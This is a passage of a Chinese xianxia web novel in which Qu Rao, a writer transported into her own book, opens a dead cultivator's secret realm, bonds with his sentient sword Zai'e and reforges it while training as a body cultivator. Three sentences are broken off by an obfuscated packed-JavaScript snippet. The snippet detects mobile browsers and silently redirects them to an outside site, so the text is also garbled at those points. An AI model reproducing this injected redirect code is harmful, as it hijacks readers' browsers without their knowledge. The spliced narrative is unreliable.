所有人都被这个浪漫主义的战斗疯子给欺骗了。在小说后期,历经千帆的女主烬粟对看着好像是情根深种的邑不渡虚像说过一句话。 【“我知道,像你这样的人,从没有考虑过其他人。”烬粟淡淡地开口,“你的眼中,你的世界里,有的就只是你自己。你对我,对所有人说出的话,从未有一句真实。说到底,你就是个令人恶心的骗子罢了。”】 短短几句就打破了邑不渡残像的虚伪面具,也打破了评论区读者的道心。 那一个月的评论区,是屈娆看过最有趣的评论区了。 所以结合这个设定,打开秘境阵法就很简单了。 只需要摘下水塘边只在夜晚开放的圣昙花,然后在天亮时分强行让花绽放,把不该在白天盛开的圣昙花放在水塘中心就可以了。 对于邑不渡这个自恋的家伙来说,只在夜晚盛开的圣昙花就像他自己一样。只有这朵不该在白天盛开的花绽放于白日,才能证明他的特殊,才能证明自己能够如这朵特殊的圣昙花一样,破开虚空跻身上界。 在小说里,女主烬粟从传承功法中找到的办法,就是强行催动丹田枯竭的灵力,在白天用心血加灵力催化圣昙花开放。 但对屈娆这个完全没有灵力的普通人来说,小说作者表示她还有另一种办法。 现在是白天,秘境已然显露,就在水塘的不远处,被茂盛的藤蔓缠绕,只露出一扇厚重的石制大门。而在她身旁趴下假寐的守山虎,其实在暗自盯着她的一举一动。 屈娆站在原地状似在思考,实则一想到自己接下来要做什么就差点绷不住要笑。 但在守山虎眼中,则是这个修士眉头紧皱,似乎在回忆着什么。但大概是先前受了重伤,身体也没办法储纳足够的灵力,因此面色有些苍白。就在守山虎都忍不住心生怜悯帮忙时,屈娆动了起来。 她先是在水塘边采了株未开圣昙花,然后只身蹚水来到了水塘中央,几近腰腹的水让重伤的修士面色越发苍白,但她的神情却依旧镇定,屈娆垂眸看向手中未开的圣昙花,似乎思索着什么。 守山虎暗叹一声。 没有充足的灵力和足以凝气化髓的实力,是无法让圣昙花在白天绽放的。 不过对方能够想到圣昙花作为钥匙,其实已经足够了。毕竟老大可不会对那些谈不上朋友的家伙说到这个。 老虎的尾巴在地上扫了扫,就在守山虎准备起身动作时,水塘中心的屈娆又一次动了起来。 她的手上,那株淡紫色的花骨朵忽然被浸入水中,紧接着再度拿起后,修士纤细的手指果断地掐断了它的根茎,重复几次后,长长的根茎只留下了半臂长短。 守山虎:……? 还没完,修士继续用尖锐的指甲嵌入根茎,继续摧残这株柔弱的植物。 守山虎:…… 老虎吓得尾巴都炸了毛,一双兽瞳瞪得圆润,不可置信地看向水塘中央的修士。 在做完这些之后,屈娆又动作利落地拔下花骨朵紧紧合上的外皮,然后——一巴掌抽了上去! 守山虎:!!! “啪!”“啪啪!!” 连续抽了两三次后,屈娆心满意足地将有些松散的圣昙花放在了水塘中心。 大概过了五六秒,被残忍摧残的圣昙花竟然真的浮在水面上,慢慢地打开了先前紧紧合上的花瓣。大概过了半柱香,圣昙花已彻底绽放在白天的水塘上。 而屈娆已经上岸走到了秘境的大门前。 随着淡紫色圣昙花的绽放,如针般的花瓣打开,花心中飘出了一缕她看不见灵气,在守山虎惊愕的目光中钻进了秘境大门上的阵眼中。 守山虎:……这也行!?老大,你离开之前可没和我说过还有这种开锁方式啊!! 在它惊愕的目光中,屈娆带着水珠的右手轻轻搭在了被青苔污染的石质大门上,她能感受到石门的震颤——这扇门在缓缓打开。 一切都非常顺利。 在打开门之后,她就能顺利接手邑不渡遗留在这里的所有宝物,至少在短期内她不用担心自保了,这个地方除了她和后期的女主之外没有人能够找到。 但,是不是有点太过顺利了。 屈娆的眼神有些涣散,随着石门逐渐被打开,她也飞快的回忆自己对这片秘境的设定。 ……等等。女主之所以打开这扇石门后,用尽秘境宝物才回归修仙正路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160773|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的原因,不只是因为强行逼出心血和丹田干涸灵力,还有—— 那柄开门之后就会自动追杀开门人的凶剑! 女主烬粟为了活命又一次强行催动灵力这才伤上加伤,耗尽秘境中所有天材地宝才活着回归正道! 但她—— “呲——!!” 石门未全部开放,但一柄长剑从门内直冲屈娆心口而来,让她避无可避,转眼之间被刺入心口。 血,缓缓滴在了地上,声音却沉重得像重锤一般砸在守山虎的耳朵上。 “屈娆!” 一声虎啸震吓了周围弱小的灵兽,但那柄长剑已经刺穿修士的心口。守山虎三两步蹿到她身旁,却也无能为力。 修士的身体太过脆弱,即便用灵力强行保住,但也无法修补身体。 怎么会这样!? 守山虎吓得毛都炸开了,它从没想过打开秘境之后会遭遇这种事。 刺入修士心口的灵剑不断震颤,像是有生命力一样意识到了不对劲,准备往外退去。 但没想到的是,一只白皙的手握住了剑身,与此同时暗哑的女声响起。 “别动。” 嘶——不痛? 几秒钟前,屈娆在意识到剑刺进自己的心脏后差点就要原地给自己念往生咒了,但过了几秒她却没感受到任何痛楚,仿佛自己没有受伤一样,她愣了一下后才低头往下看。 刺进自己心口的那柄长剑看一眼就知道不同凡响。剑柄处缀着一颗鲜亮的橙红色眼珠,柄身雕刻着八只游龙,哪怕在秘境中待了几百年也依旧无比光鲜亮丽。 见它要动起来,屈娆下意识地握住锋利的剑身。 嘶——还是不痛? 她大脑像是被雷劈中一样恍然大悟。 那个人的确告诉屈娆,她将和女主烬粟痛觉通感,但——现在女主还没有出生啊! 四舍五入,也就是屈娆根本就没有痛觉!! 哈哈,这句话竟然还有另一种解读方式! 但没有痛觉可不代表身体就不会因为失血而死,屈娆一把按住了蠢蠢欲动的长剑,说了句别动。 这把剑还挺听话的,说不让动就真不动了。 趁这个机会屈娆赶紧想怎么把这个烂摊子收拾一下。 说起来,这把剑……好像是邑不渡的本命剑啊。 不过和其他修仙者不一样的是,这家伙的本命剑,是用自己的心魔炼成的。 对没错,这家伙疯得连心魔都能当铸剑材料炼了。 这也是这把叫“灾厄”的剑当时开门后一剑刺向女主的原因,这家伙完全把开门的人自动认成了邑不渡,所以拼尽全力想要干掉开门人。 那次伏击之后女主重伤没死,但这把剑就被反噬直接碎掉了。 在最开始设定的时候,屈娆还打算给它加个剑灵安排点戏份来着,但实在太麻烦了而且也不好加设狗血剧情,就当一次性道具给废弃掉了。 不过现在…… 她的目光放在还插在自己心口被自己握住的长剑。 所以这玩意儿现在到底有没有诞生剑灵啊?? 5. 第五章 灾厄知道自己杀错了人,这叫它有点后悔。不过后悔的倒不是杀了一个无辜的家伙,而是后悔自己怎么用全力去攻击一个和邑不渡那狗东西毫无关联的人。 邑不渡那玩意儿实力强大,所以想要杀他就一定要做好充足的准备。但灾厄被关在这里已经太久了,久到它控制不住现阶段自己的想法。 只有一个念头主导它的神识: 杀了他,杀了邑不渡! 而现在当一个陌生人的血将剑身包裹其中,血的腥味毫无预兆地将它裹挟时,一大段不该存在的记忆闯入了灾厄的神识中。 那是—— “——哦?你是说,无论如何我也没有办法获得上界的认可?” 熟悉到令剑呕吐的声音响起,邑不渡的脸上带着不着调的笑容,语气却格外认真:“我管他上界里面到底是个些什么牛鬼蛇神,现在就算上界是一整个灭魂丹,我也得亲口尝一尝。” 坐在那株菩提树下的似乎还有另一个人,一个让灾厄看不清身形容貌,坐在邑不渡对峙棋桌另一端的人。 那个看不清的人似乎说了些什么,以至于邑不渡脸上的神情又变了。 灾厄从未见过那个男人脸上会出现这样真实的无奈。 往常邑不渡只会露出一种虚伪的神情,所有被表现出来的情绪不过都是他的伪装。但现在不一样,这段记忆里的邑不渡表现的情绪真实得令人心底发慌。 “……什么啊,你就不能说些不打击我的话吗?”邑不渡哭笑不得地开口,“喂,我还是不是你的朋友了?” 啥?说了啥?你们到底在聊些什么? 在记忆中无法控制自己的视线,灾厄拼命地想要走上前去听一下这段隐蔽的八卦。 “——正因为是朋友,所以才要阻止你。” 终于!皇天不负苦心剑,它终于在这段独角戏记忆中听见了另一个人的声音。 那是一道极其冷淡的女声,如天山冷泉,又如寂夜雨声,冷淡得叫人听一句都觉得浑身发寒。 “与其执着前往上界,倒不如沉下心来,去看看这个世界上的一切。” 邑不渡:“可我都看遍了,也没你说的那么有趣。”他语气中有些不耐烦,但似乎因为坐在对面的人,这个浪子又不得不耐着性子开口。 “你是知道我的,像我这样的人是不可能一直留在这个地方。我啊,可是邑不渡啊——” “屈娆。” 刹那间,在菩提树下执子对弈的人终于显出了原貌。 青丝如墨,银簪简束,几缕碎发垂落颈侧,衬得颈线修长。女子一袭素白长衣,不像现在修仙界任何派别的服饰,反而朴素归真。眉如远山含黛,眸若寒潭映月,眼尾上扬似有晚霞晕染,让女子身上不近人情的疏离之外增添了些许人气。 那赫然是——眼前被它洞穿心脏的女人! 只不过比起画面中的女子,眼前的人面色更加苍白。 那只手握住锋利的剑身,哪怕这样危机关头神情也依旧平静,像是这世间没有什么能够影响她一样。 “别动。”女人说,眉头微皱,“这感觉……你是邑不渡的本命灵剑?” “啥?” 在身旁急得团团转的守山虎听到了她的话,整颗虎头都盛满了茫然:“老大的本命灵剑???” “这上面有邑不渡的气息。不过……” 剑身在屈娆的手中颤动,但却没有执意拔出。她当然知道这是为什么:只要这柄剑拔出,就会被反噬碎裂。毕竟邑不渡本人早就死成灰了,那么由心魔炼制的剑在离开秘境后没有载体,就只有碎裂死亡这一个结局。 “这上面有魔气。” 守山虎:“啥!?” 手中的长剑也跟着一颤。幸好屈娆现在没有痛觉,不然心脏跟着一颤那怕是要痛死。 “你能看见我!不,不对,你知道我的来历!?”灾厄激动得剑身颤了颤,换来了修士的闷哼,它下意识地僵住没再大呼小叫,“那、那你能听到我的声音吗?你能感受到我吗!?” 屈娆能不能感受到呢? 那必然是不能的。现在的她虽然□□因为周边灵气比在外面时要强悍一些,但说到底还是个连引起入体都不会的普通人。而之所以说这些话……都是她瞎猜的。 她毕竟是这本书的小说作者,大大小小的人物剧情设定她比这个世界上任何人都要熟悉。而现在这种危机关头,就算不知道这柄长剑中是否有灵,屈娆都得试一试,演一演。 “邑不渡不是魔修……那这柄剑难道是,心魔铸成?他竟然是这样想的……” 装模作样的说了几句话后,屈娆能够感受到自己右手有点使不上力气,就知道自己得赶紧忽悠了。 “剑身灵气暴涨,但剑身却尤为脆弱,只怕你一旦离体,这柄剑就会碎裂,剑身上的灵也会随之碎散。”屈娆飞快地开口,“你若有灵,便顺着血水入我心,铸就剑心或许还能存活下来。” 长剑没有动静,不知道到底是在思考还是单纯就一死物没办法回应。 而现在屈娆只能等。 她虽然心里没底,但不能表现出来。就算剑上没有剑灵,但身边可是有一个切实存在的守山虎呢。她要是露怯了,保不准身边的老虎会不会知道自己被欺骗然后咬死她。 “——我靠你这个女人,”灾厄难以置信地开口,“真的是邑不渡那家伙的朋友吗?这么好心??我可是把你的心脏给捅穿了啊!” “等等,你的身体……原来存不住灵气啊。”意识到不对劲后,它长舒一口气,“我说谁会有那么好心,会把心脏给让出来。喂,你是想让我救你吧?……啧,说得那么好听,还不是听不见我的声音。你和邑不渡那家伙果然是朋友,满嘴谎言!” “不过……” 灾厄话音一转,嘿嘿笑了:“谁叫咱俩各有所需呢?你图我帮你修补身体,我也图谋你的身体去做事啊……” 要杀掉邑不渡,那它肯定还需要一具人类的身躯。 这样打算着,这柄被邑不渡取名为“灾厄”的本命灵剑,就这样化作铁水顺着屈娆的血液流入了她的心脏。蓬勃的灵力强悍地修补她破碎的心脏和储存不住灵气的身躯,按理来说这修补过程极为痛苦,一般人根本无法忍耐。 但令灾厄感到惊奇的是,这个叫“屈娆”的女人只是脸色比之前更苍白了些,但身躯没有因为疼痛颤动半分。像是……比这更痛苦的也经历过一样,所以不足为惧。 果然是能够和邑不渡那混蛋做朋友的人,竟然这么能忍。 实际上的屈娆:?暖洋洋的,感觉像晒了一上午的太阳,还别说,挺舒服的。这就是被灵力修补身体的感受吗?修仙啊…… 她忽然对此有了极强的兴趣。 一旁看得心惊胆战的守山虎就这样守在胆大妄为的修士身边,困惑又不解地看着屈娆吸纳了老大的本命灵剑。 不、不好意思,但它就想问一下——这合理吗???就算关系再好,但这是老大的本命灵剑啊,怎么可能被老大的朋友给吸纳啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160774|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ??灵剑你在干什么啊灵剑!?这合理吗!? 灾厄本剑也不太清楚,但它似乎和这个叫屈娆的修士相性还挺好的。这是为什么? 铁水最后重铸了人类的心脏,屈娆的脸色终于不再苍白。而秘境周边的灵力也逐渐被她引入体内。 “竟然真的做到了……” 守了一白天的守山虎打了个哈欠,从最开始震惊成虎球到现在的见怪不怪,只需要一个屈娆。它好奇地凑上来,用鼻子拱了拱屈娆无知无绝的右手。 “你现在感觉怎么样?” 屈娆:说实话,我现在感觉能打死一个你。 修士眉眼低垂,看向自己的右手,她握了握手心,若有所思:“无所差别。” “——哈!?我辛辛苦苦给你修补了那么久的心脏和躯体,你给我说什么无所差别??” 一道刺耳的声音炸响在她耳边,要不是屈娆面部管理修炼得当,差点要捂着耳朵叫起来了。 刚刚这什么鬼玩意儿!? 她心念一动,一柄泛着白光的眼熟长剑就这样出现在屈娆手中。 这是灾厄,因为邑不渡身死魂灭,现如今灾厄成了她的本命灵剑。 原来还真是她最开始的设定啊…… 那柄本该是用来推动剧情杀的工具剑,在这个时候活了下来,而在小说里没有戏份的剑灵,此时此刻正在屈娆耳边大呼小叫。 “也得亏是我帮你修补了这具身体,不然以你强大的神魂,不知道什么时候就会因为脆弱躯体的溃散而再度失去载体。”灾厄的声音透出得意来,“不过话说回来,你到底是什么人?邑不渡那家伙对你的态度竟然还算得上不错?” 嗯? 一边小心聆听这柄剑灵的絮叨,屈娆一边感受自己的身体。 听到这儿的时候,她愣了一下。 邑不渡对她的态度不错?等等,可她们连见都没见过啊,全靠屈娆作为作者的一张嘴造谣——该不会这柄剑灵也脑补了什么奇怪的东西吧? 这样一想,屈娆更坚定了不将自己的底细暴露给任何人的决心。 至于身体上的感受…… 她皱着眉,看着手上的剑,又看了一眼自己的手。 嗯……好像变白了点?但你要说有什么特别的感受,没有,完全没有。顶多觉得暖洋洋的像是刚晒了太阳一样稀疏平常。 “劳烦山神,”手握灾厄长剑的修士起身,忽然对它一拱手,“我如今修为如何?” 一旁的守山虎被吓了一跳:“连感知都混乱了吗!?你之前到底受了多重的伤啊!” “——也没多重,就是差点要死了而已。”灾厄在一旁幸灾乐祸地为她解释,可惜守山虎听不见它的话,所以被摧残的人就只有装听不见的屈娆,“还是靠我这个灾祸之剑给她修补好的呢。” 守山虎细细凝视,带着点担忧开口:“你现在的身体比之前要好些了,至少灵气不会像漏斗一样泄出去。但,现在最多是引气入体的阶段。” 最后这句话它说得小心翼翼。 毕竟现在的境界和本该是修仙大能的修士完全不符。 “足够了。” 这个消息比屈娆想到的要好得多。 至少灵气入体了,而且她也能感受到灵气——那种像是晒太阳的暖和感。 至于如何增进修为…… 在意识到现在的自己没有痛觉后,翻阅记忆的屈娆很快就为自己找到了一条超适配的修仙路—— 炼体!成为体修! 6. 第六章 “砰!砰!砰砰!” 夜色如水,鸟雀安然。 谁也不曾发觉在这偏远地界的华邑山中,隐藏着无数修士都窥视的机缘。 而在这机缘之中……则日夜响彻着兵器锤凿之响。 “——嗷嗷嗷别锤了!!” 这是屈娆转职体修的第一个月。也是灾厄这柄剑被回炉重造的一个月。 明明是这家伙想要通过炼体迅速筑基,但为什么受伤的还有它啊!? 灾厄不懂,灾厄不明白,灾厄被砸得吱哇乱叫。 镶嵌着灵兽丹核重锤狠狠地砸在长剑的身上,迸发出绚丽的火花,而手握重锤和长剑的修士,则是面无表情地继续着这僵硬无情的动作。 就好像手中的长剑并不是她的本命灵剑,重铸剑身的痛苦也并未反馈到她的身上。 但,真的如此吗? 秘境中央的火炉再度被守山虎的灵火点燃,终日焚烧着灵剑的剑身,烈火灼身的痛苦让身为冰冷之物的灾厄自身都苦不堪言,更何况与之通感的修士呢? 汗水从她白皙的脸颊滑落,火光映在屈娆的侧脸泛起一片久久不散的殷红,湿黏的发丝站在额头与侧颈,只有那双漆黑的眼瞳带着不灭的亮光。 这是个比邑不渡还要疯的疯子!! 人家体修炼体不过是推崇身体的机制,再加丹药的堆成,但这家伙呢?她现在的心脏由本命灵剑铸成,竟然选择直接重铸剑心——这是个正常人能想出来的事吗?!这不是把自己当做无生命的剑丢入熔炉重造吗!? 而这种痛苦竟然还持续了一个月!这是个人吗它请问呢! 到最后,灾厄都麻木了。麻木地看着修士高举重锤然后毫不犹豫地砸下,虽然它依旧感觉痛苦,但也能感受到实力在以肉眼可见的速度飞速提升。 那是当然了! 屈娆抹了把汗,精神奕奕地又转身去薅了好几个灵气充足的一次性道具,将其用守山虎的灵火淬炼成液,注入她的本命灵剑中。 邑不渡,人是真不错啊。 屈娆在心里感叹了一遍,无比感谢最开始构造这个工具角色的自己。 你的虎,你的剑,你的秘境,现在全都是她的了。 等她出去了,一定找机会给你搬个感动屈娆小金奖的! 最后一砸过后,屈娆终于松了口气。 应该差不多了,就算没能结丹,但至少能筑基了。 好想打个哈欠啊,最近有点太累了。虽说身体上没有痛觉,但精神还是会疲惫的啊…… “屈娆……” 一直在火炉边趴着的守山虎见她停下之后,起身凑了过来。在一个月的相处后,这只大老虎已经彻底放下了对修士的戒心,反而更加忧心其对方的身体来。 “你体内的灵气已经够充足了,”守山虎围着她转了两圈,然后嗅了嗅修士身上充盈的灵气香味,“比起继续修炼,更重要的是梳理经络里的灵气。” 虽然不知道这一个月里的修炼让修士记起来了多少,但就冲对方这拼了命修炼的劲头,守山虎都有些害怕。 老大还没变得很厉害之前,也和她一样吗?所以两个拼命修炼的人才会成为好朋友? 守山虎不知道。在它还很小的时候,老大就离开了,只给它留了一句话。 “——我会回来的,在此之前你就乖乖在这里替我看家吧。” 老大笑眯眯地留下了这句话,然后头也不回地离开了。 它等了有多久?雪覆盖了秘境的土地,转眼间又消融。这样的景象守山虎不知道看了有多少,但一直没能等到老大回来。 直到一个让它理解不了的好心人类出现在了这里,陪着它在这里待了整整一个月。 奇怪,明明一个月并不漫长,在灵兽的时间观念里,只不过是打个盹的功夫,但它现在已然适应了修士的存在,还有那叮铃哐啷的锤音。 因为在意,所以……很担心。 屈娆不知道它的想法,但她现在的确需要点时间来整理自身。 原因无他,就是感觉身体从之前那种被太阳晒得暖呼呼现在变得像是被火炉被子裹着一样。虽然不难受,但的确有点热过头了。 她点了点头,放下了锤子。随着一声重响,躺在台面上的灾厄也大声地舒了口气。 “我真是服了……到底你是剑还是我是剑啊……”像是被命运肘击八百遍的灾厄虚弱开口,“你这家伙难道没有痛觉的吗?” 屈娆:你还别说,她真没有痛觉。 所以这一个月来她锤剑锤得很快乐。 甚至越锤越有精神。 她转过身正打算往一旁走去时,忽然动作顿住。 “啥?你要干啥?” 正打算休息一下的剑灵再一次察觉到笼罩在上方的阴影,它警觉地睁眼看向对方——那个奇怪的犟种修士! 一根温热的手指落在了剑身上,灾厄不受控制地打了个寒战。 “等我休息一会儿后,”修士说着顿了下,“替你擦拭上油。” 灾厄:? 眼瞅着修士走到一旁闭眼打坐休息,剑灵还没能从这句话带来的震惊中回过神来。 给、给谁擦拭上油? 给它??? 给它!? 邑不渡那家伙——到底走了什么狗屎运有这么棒的一个朋友啊!? 简短一句话就哄好了被命运肘击八百遍的灾厄。 剑灵不解,剑灵愤怒,剑灵想得到。 它“嗖”一下从铸剑台上蹿起,在守山虎惊异的目光中悬浮无声围绕着硕大的秘境内狂飞了好几圈才罢休。 守山虎则是默默地走到距离修士不远的地方卧下,打起精神来防止那柄看上去不太正常的灵剑偷袭。 屈娆倒是不知道它们俩各自的弯弯绕绕,不过就算知道估计也不会当一回事。 现在,她学着自己看过的电视剧电影中修仙者打坐的姿势坐下,紧接着闭上眼,开始玄而又玄地摸索着修炼的门路。 不知道是不是因为小说和现实有壁垒,哪怕穿越进入自己写的小说里面,屈娆仍旧对这些修炼路子一知半解。属于是理论拉满,但动手实操零分的那种偏科战神。 此时此刻,她只能一点点地跟着感觉走。 四肢暖呼呼的,像是被热水浸泡一样舒适,但腰腹处就不一样了,火热得像是把热水袋直接贴上去一样,烫得让人感觉不太舒服。 屈娆试探性地引导被热水袋覆盖的腰腹处的“气”,往温度稍低的地方游走。 不知道过了多久,屈娆自觉身体温度差不多后,就听见耳旁一阵“叮铃”声。 嗯? 在浑身上下充盈着暖洋洋的温度时,她慢慢睁开了眼睛。 下一秒,一只硕大且毛茸茸的虎头不容置疑地闯入了屈娆的视野。 以及对方头顶上那老长的红、蓝色两条管子。 屈娆的心底缓缓打出一个问号。 这是什么情况? 顶着比老虎身体还要长的红蓝条,守山虎着急地朝眼神有些涣散的修士开口:“屈娆?屈娆!你感觉怎么样了?有没有什么不舒服的地方??” “我……” 还没从红蓝条带来的震惊中回过神,屈娆就听见一阵奇怪的声响,她下意识地抬手,攥住了如闪电般朝她而来的长剑。 “——你这个笨蛋修士!!” 与此同时,气急败坏的声音在屈娆耳边炸响。 “说好的休息一会儿就给我抹油打粉呢!?你看你都睡了多久了!!” 整整七天!这家伙说好的“休息一会儿”就是闭眼静坐七天!! 灾厄差点以为她悄无声息地像个秃驴一样坐化了! 长剑在屈娆的手中震颤着生着气,声音叭叭地在她耳边炸响。 七天? 竟然过了七天吗? 但对屈娆来说,这仅仅是她闭眼睁眼的片刻……难怪大多数修仙文背景中的修士都是几十上百的年龄,这一闭一睁还真不知道外头过了多久。 屈娆慢慢从地上站起身,浑身上下没有半点不适,只有突破后的神清气爽。 这就是到达“筑基”的感觉吗? 虽然还是分不太清修为到底怎么个具现化感受,但屈娆觉得现在自己的身体能够一拳打死五头牛。 另外,到达筑基期之后,她能看到每个物品头顶上的红蓝条。红条大概就是血量吧,蓝条?可能是灵力? 她有点摸不清自己是个什么情况,至少在自己眼中出现的像网游一样的红蓝条绝对不是屈娆笔下小说的设定。她写的可是纯修仙狗血文! 不过……这点还是方便她了。有时候摸不清对方到底是个什么修为,一看对方头顶上的红蓝条一下就清楚了哈哈! 这不比什么“金丹”“元婴”说法更让来自现代的小说作者理解得更直观嘛! “抱歉,”手中又一阵巨颤让屈娆回过神来,她歉意地握紧了剑柄,“让你担心了。我这就为你修护。” 灾厄:“倒也没那么着急……不对?你能听到我说话?” 修士面色如常,像是没有听见它的声音一样,又对一旁等候的守山虎道了歉,紧接着在秘境中寻找能够保养的材料。 邑不渡留下的这个秘境里面什么都有,屈娆轻而易举地就找到了专门护理的刀剑油,用一种奇异柔软的布料擦拭着灵剑的剑身。 这东西她记得好像是什么千年蛛妖所产……按照设定应该是邑不渡刚达元婴时越级斩杀,剖腹所取的。 呃,不过这段没有详写,毕竟这一秘境里面的东西在女主烬粟的手中都变成了一次性用品用来修补自身。 屈娆擦了擦剑身,又补了层油。不知道过了多久,灾厄整只剑变得亮闪闪的,看上去不像是什么“灾祸之剑”,更像是被精心保养的绝世名剑。 不过这把名剑可没有什么剑鞘,毕竟邑不渡本人虽然把心魔炼成了剑,但也依旧认为这世间没有什么能够约束他心魔的材料——也算是另一种程度的极致自恋了。 “手法不错嘛……” 灾厄在她手里面哼哼唧唧,在完成之后,就飘出了秘境来到外面的池塘看了看。 “不错不错!”亮晶晶的,它喜欢! 守山虎就这样看着这柄灵剑像是有神志一样臭屁地对着池塘翻来覆去地欣赏水中的自己。 它甩了甩尾巴,随后看向正在一件一件将拿取的物品放回的修士,守山虎走到她身旁。 “屈娆。” “嗯?山神。”屈娆侧头看向凑过来的大虎头,微笑道,“有何事?” “你要走了吗?”守山虎单刀直入,它看得出来眼前的修士在筑基之后虽然没有变化,但眼中的光却凝实了很多。 或许她在恢复的这个时间里已经记起了什么。 屈娆愣了一下。 果然是野兽吗,直觉就是准哈。 屈娆的确打算离开了。 虽说筑基这个修为在修仙界里根本不算什么,但她不可能一直待在这个地方。按照之前引气入体和筑基所耗费的时间,在女主出生之前她可能连修仙界的中层实力都摸不到。 她写的小说她知道,弱肉强食的典型,没实力你在修仙界就只有被打的份。 以后想让自己不感受到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160775|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种痛苦,就只有一个办法: 想尽一切办法,让自己比男主,还有男主的背景,以及男主的机遇要更强—— 靠!她的一生之敌原来是自己笔下的狗血男主啊! 屈娆在心底暗自嘀咕,面上不显。 “我的确要离开了。”修士温声开口,“既然邑不渡不在此处,我自然要去寻他。” 屈娆顿了下,又给这个借口继续打补丁:“不管他在哪儿。我们之间还有一个邀约呢。” 守山虎愣住:老大……身边竟然真的有这么好的朋友啊。 它眼神有些复杂。守山虎既欣慰又失落,定定地看了她许久后,才开口:“既然这样,你就带些需要的东西再离开吧。” 像是担心修士不接受一样,守山虎又笨拙地补充道:“你是老大的朋友,你有需要的东西,老大肯定会给你的!” 屈娆:……你当她不想拿吗? 对于这些她写过的奇珍异宝,屈娆早就馋得心里直痒痒了。 什么‘九霄妃子泪’、‘饕餮骨罗盘’、‘笑面参’、‘涅槃莲’、‘锁玲琅’、‘九死回魂丹’……她馋啊!! 但屈娆为啥不拿走?因为这些东西上面都有邑不渡残存的气息!这家伙狐朋狗友不少,但仇家也很多啊!带一个出去,被追杀十万八千里值得吗?性价比超低,给一星差评! 能炼的,能铸的,屈娆全都塞给成为自己本命灵剑的灾厄了。带不走的东西她也只能默默含泪告别。 不过没关系,现在屈娆已经是筑基期了,很多能够挑战和发现的秘境机缘副本宝藏都增多了不少。 这些对男女主来说只是推动剧情的工具,但对现在的屈娆来说就是实打实的天降馅饼啊! 这个丢了没关系,她还有下一个秘境宝藏!才不会出现什么捡了芝麻丢了西瓜的情况! 现在整个修仙界遍地都是除了她鲜有人发现的大西瓜!嘿嘿! “这些东西,我不便拿取。”但说话还是有艺术的,屈娆端正自己的态度,给大老虎解释道,“这本是邑不渡的所有物,我借其物修补自身,本就承其恩情,不便再拿取。” “另外,”看守山虎还想说些啥,屈娆赶紧转移了个话题,“这柄灵剑本身是邑不渡的本命灵剑,虽说材料特殊,可以离体,但存放在这里想来是有什么其他原因。” 灾厄:“还有啥原因,这家伙不就想向天道证明自己已经除掉心魔,有登上上界的资格嘛,嗐,我是他心魔我还不了解邑不渡那混蛋?” 灵剑平稳地从外面飘了回来,落在屈娆手边还想多叨叨什么,却被修士一把抓住,融入心口。 灾厄:…… 它严重怀疑这个修士能听见它说话!!! 屈娆面不改色:“我得赶快出去,去找邑不渡。山神……” 她想问大老虎要不要一起出去。毕竟在小说里,一直守在这里的大老虎会被路过的修仙者当做妖魔除掉,既然这样还不如跟她一起走。 守山虎也有些意动,但它想了很久后还是摇了摇头。 “老大说让我在这里等他。”大老虎甩了甩尾巴,泄气道,“万一我走了,和他错过了又怎么办?我还是在这里等他吧……说不定他什么时候就想着回来了呢!” 守山虎自己给自己哄好了,高兴起来:“我就待在家里等老大!” 屈娆:…… 她不好打击大老虎的积极性,只好点头。 算了就这样吧,不然之后一直演戏也挺麻烦的。等她等级上来之后,再看看能不能扭转下守山虎的命运吧。 当务之急,还是得提高自己的硬实力。 一个时辰后,被守山虎从秘境中送出来的屈娆重新站在了华邑山的山头。 现在正是凌晨,天灰蒙蒙带着蓝调。实力提高之后,屈娆只觉得自己的眼睛像是从360p直接进化到了1080p,很高清,高清得有点头晕。 她定了定神,和一旁的守山虎告别后,就一人往山下走去。 守山虎就这样站在原地,不知道过了多久,直到再也不能在华邑山范围内感受到修士的气息后,大老虎才耷拉着耳朵,转身慢慢离开。 唉……也不知道什么时候能够再见。 老大你啊,真是走运才交到这么在意你的朋友了哇…… 守山虎心中的感慨屈娆一无所知。 下山的路格外安静,她垂在身侧的手指不由自主地抽动了一下,勉强按捺住自己想要把灾厄叫出来的欲望。 灾厄虽说现在是她的本命灵剑,但在这之前,它可还是邑不渡的神器,屈娆担心它身上可能还残有对方的气息。另一个原因是,它毕竟是由心魔炼成,邑不渡给它取名“灾厄”还是有理由的。 这柄剑本身就能带来灾祸。 在小说里,灾厄碎裂后的碎片融入了女主烬粟的身体,在小说后期这一设定又带来了不少狗血剧情:什么剑奴啊,什么取心头血铸剑啊,什么你竟然和那个人有关系…… 想想都让屈娆感到头痛。 所以能不拔剑还是别拔了,她之前一路混过来都没事,没道理还得拔剑才能到达下一个秘境。 低调点,筑基期最重要的就是苟住。 